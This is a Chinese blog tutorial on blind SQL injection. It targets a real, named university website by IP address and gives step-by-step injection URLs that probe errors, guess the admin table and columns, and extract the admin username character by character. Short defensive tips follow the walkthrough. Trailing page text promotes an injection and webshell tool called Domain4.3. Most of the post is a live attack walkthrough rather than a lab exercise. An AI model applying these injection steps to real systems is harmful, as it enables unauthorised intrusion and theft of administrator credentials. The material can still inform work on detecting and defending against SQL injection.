对一网站注入过程步骤的实例讲解

作者:赛冰河

我都不知是什么时候写的了,这几天整理电脑时才翻出来,,看看思路吧,其它的没有什么价值。
========================================================
说明:转载还请注明作者:赛冰河
      另外,为我这次过程分析更为真实,各读者更能较好地理解,故用真实IP分析
这次注入是真实的网站是:http://202.114.71.194/ 武汉大学环境法研究所,为此,望大家不要搞破
坏,仅仅是为学习,如有什么意外的地方,概与本人无关。
========================================================

    今天我主要是分分析的是SQL注入,但顺便也会对ACCESS的判断简单说说,并且提供一些网站安全
的建议。由于现在好多网站安上内容过滤的防火墙,然后编程人员稍加注意,另外管理员负责一点的
话,我们是很难用这些漏洞的,还是那句话,只要防的时候你多动一下手的话,黑客可能也没有那么
多的耐心在那你搞你了,唉,偏偏你就。。。。。。。。。
   
    简单地说说注入,就是攻击者在IE中提交一些代码,而这些代码可能在加入查询时作为程序的
一些语言的命令,就是加入后造成现在程序运行的与你原来的运行过程相背离,从而进行攻击。我
这里今天讲的是SQL,所以你也得有一定的SQL语言的基础。另外就是要用到返回的错误的不同,而
进行判断,所以你得把你的IE设定一下,工具--->Internet选项-->高级-->显示友好 HTTP错误信息前
面的勾去掉。这样就会返回错误的提示了。


   首先,可能大家也知,就是试试单引号’了。到http://202.114.71.194/的首页看一下吧,任意
打开一个页面看看,我打开的是http://202.114.71.194/show.asp?ID=763' 返回的如下:
----------------------------------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.

/show.asp,行47
---------------------------------------------------------------------------------------
也许有人会说,你运气这样好,这个网站就能注入呀,呵呵,我是讲注入嘛,其实早就找到它有这
个漏洞了的,今天为了给大家讲嘛就用它了-----------编程人员的一大失误
如果你搞另外的网站返回的是:
----------------------------------------------------------------------------------------
    Microsoft JET Database Engine 错误 '80040e14'
    字符串的语法错误 在查询表达式 'ID=56'' 中。
    /showdetail.asp,行8
----------------------------------------------------------------------------------------
这就是ACCESS的数据库了。

    同时这一步中我们一般还要试试下面两个:
         http://202.114.71.194/show.asp?ID=763%20and%201=1
         http://202.114.71.194/show.asp?ID=763%20and%201=2
这第句显然成立的,返回的是http://202.114.71.194/show.asp?ID=763一样的,而第二句当然不成立
返回是没有这页面。(这里的%20要是菜鸟不知的话,我说说,就是空格嘛)
 
    第二步,在第一步中我们知道了它是用的ASP+SQL的,我们当然就是要找找它的管理员的用户名与
密码了,要找这,当然要找到他是把这用户名与密码放在什么表名中的。那如何知道表名呢,主要是看
源文件,还有就是猜了,大多是有规则的。同时还要找找他的管理入口哟,有一切可能的手段去找吧
可以猜一下如longin.asp,admin.asp,ad_login.asp,等,我猜到这个网站的入口是:
http://202.114.71.194/login.asp  其实眼快的话,也可看看它们网站的主页上不是有个管理入口吗?
还不用你去猜了-------管理员的一大失误
   
   在这一次中,我们还要找到他的管理员表放在什么表中,试一下
http://202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20*%20from%20login)
在这你可以试一下把login换成user ,admin,等等猜一下,要是返回与这个页面是一样的话,那你就
猜对了。这个页面是http://202.114.71.194/show.asp?ID=763


    第三步嘛,有了表名,当然就是猜表里的列了,一般这里是有3列吧,ID号,用户名,密码
那就由下面的试了
http://202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20id%20from%20login)
http://202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20username%20from%20login)
http://202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20password%20from%20login)
经过N次的提交,终于找到了(做黑客也不容易呀,干苦力活)
我试出里边的用户列为user ,密码列为 password.

   第四步嘛,来猜一下这个表中的有哪些ID号是存在的了,语句是
http://202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20id%20from%20login%20where
%20id=1)   在这里你可以把这个ID=1换成ID=2,3,4,5.......试了

   第五步,来猜用户名的长度了,
http://202.114.71.194/show.asp?ID=763and%20exists%20(select%20id%20from%20login%20where
%20len(user)=1%20and%20id=1)
这里要试的是len(username)=1 ,2,3,4......试到返回正确为止,这步较容易,最多试个10次左右吧
我这次试出它的长度为7(当然我试的是ID=1的那个用户了)

  第六步,来猜测它里边的用户名的各个组成字母了,呵,要不是字母,而是汉字可就惨了
http://202.114.71.194/show.asp?ID=763%20exists%20
(select%20id%20from%20login%20where%20asc(mid(user,1,1))>110%20and%20id=1)
有时还可能用下边的来试

               http://202.114.71.194/show.asp?ID=763%20exists%20
               (select%20id%20from%20login%20where%20left(user,1)=a)
   
这里主要就是这样的试left(user,1)=a,b,c,d,........... 了
在这里,工作量可大着呢,我试了几个,就没有试了,好像这里能用一个程序实现的,只是我现在
想不起在哪儿见过了,要是你在这里有更好的办法试的话,也请给我说说,教教我嘛,相互学习
(呵呵,要是谁想要我这徒弟,我真是愿意)

  最后一步,把USER换为password,把密码也搞出来了,,但我没有试出,还是工作量大,所以此文
也就是简单介绍一下注入。

  下面我就简单说一下,对此类问题一般如何防范了。
 
  1、编程时把单引号等特殊符号过滤掉,同时可能的话,加上限定用户通过IE输入长度的控制
这个可以由编程人员或都防火墙实现

  2、管理员的事了,把管理入口改过没有规则的名字,加以隐藏掉,让攻击者找不到注入的地方
特别是不要明目张胆的把管理入口放在主页,这不是明明白白的给攻击者说,来攻我这里吗 ?

  3、可能的话,把管理入口那个页面删掉,这样虽然管理时是有点不方便,要用的时候再把把它传
上去。这样就实现了没有入口。


  好了,说了这么多,也应该算完了,要是文章中有什么不对的地方,希望你能够指出。
我的邮箱是anmeihong@sina.com 另外,就是本次文章中由于防读者就用去攻击这个网站,在其中
我有时把试出的正确结果换了一下的,还希望你不要搞破坏

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Domain4.3(明小子)10.10.10更新版主要更新内容如下: 1.驱除部分死连接,恢复部分官方连接 2.改变默认显示页面为本人BLOG 3.修正程序在检测时出错的BUG 4.修正程序在部分系统中无法启动的BUG 5.加了一个功能模块,但还不成熟,隐藏了,高手的话可以用OD调出来!>!< 6.修复前段时间一些朋友反映的错误和程序宏 7.增加四款SKN皮肤! 10.10.11紧急更新: 1.修正新版程序在部分系统中启动后直接导致系统蓝屏的BUG 2.修正域名查询的几个错误 3.修正程序批量检测查询到域名的时候无反映的BUG! Domain4.2(明小子)10.01.16更新版主要更新内容如下: 1.删除所有无关数据 2.优化急速代码 3.改变启动线程 4.增加SQL数据批量导出功能 5.加入几个优化进程模块,非后门.后台运行. 6.锁定主程序栏目宽和高,不在恢复 7.删除“辅助工具”模块中全部代码 8.修正XP SP3 程序下兼容问题 9.重新改写域名查询旁站线程 程序于2018年01月16号调试完毕! 提别提示:第4个功能只能运行在完整版的windows XP 平台系统中,其他平台无法运行,如果出现恢复按钮并不能保存请自行调试与本程序无关.谢谢合作! 宝宝的话:有朋友们的鼓励才会有这个版本的发布,这当是我送给大家2010年里的第一个礼物吧。 Domain4.1(明小子)0901更新版主要更新内容如下: 1.增加新系统兼容模块,全面兼容2000-2008各系统 (部分精简版系统除外) 2.优化网站打开速度,删减部分无用内核信息,全面加快程序启动速度. 3.基于09.05.20号内核提升,改变搜查循环的一个死BUG! 4.删除在0520上增加的一个补针函数,并使用新的函数替换.保证不报错. 5.不在兼容xpsp3,因为没时间去修正这个错误。所以可能部分SP3系统运行不起来本程序 6.增加部分程序扩充空格代码,为下个版本更新做好铺垫 小提示:保留旧的IP反查连接系统,原因没有找到新的和稳定的IP反差服务器!如果有能提供的请与本人联系!谢谢合作 Domain4.1(明小子)0520更新版主要更新内容如下: 1.基于08.10.01号内核提升,修正一次关键错误。 2.替换原程序自带的那个小马,该为最新美化免杀版的小马! 3.添加一个服务器挂钩程序(非插件),使修改后的新内核兼容vista系统。 4.程序数据库默认名为:SetData.mdb 请大家使用3.5版本以上的MDB数据.其他低版本程序可能不兼容! 5.删除后台下载统计代码(以前没发现,本人也是从网站上面下的软件,排除作者自添加行为) 6.加了一个补针,针对sql注入功能中的一个小BUG。 7.删除了很多没有用的代码,最大限度的优化程序启动速度。 8.更新部分在xpsp3下出错的几个小BUG(小问题小解决,这个错误仅针对部分优化过度的XPSP3系统)。 提记:很多朋友说需要修改下程序IP域名查询功能,这里说明下.由于内核找不到关键句柄导致无法更新,下个版本在仔细看看! Domain4.0(明小子)1001更新版主要更新内容如下: 1.更新部分过度优化过的系统不兼容问题。 2.修改内存识别函数,使其降低软件在使用期间所占用的内存大小。 3.基于08.09.15号内核提升,修正因修改软件所出现的几个导致软件崩溃的几个BUG。 4.换了软件自带的那个垃圾皮肤。加入兼容美化皮肤!更美观! 5.兼容前版本数据库支持功能
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值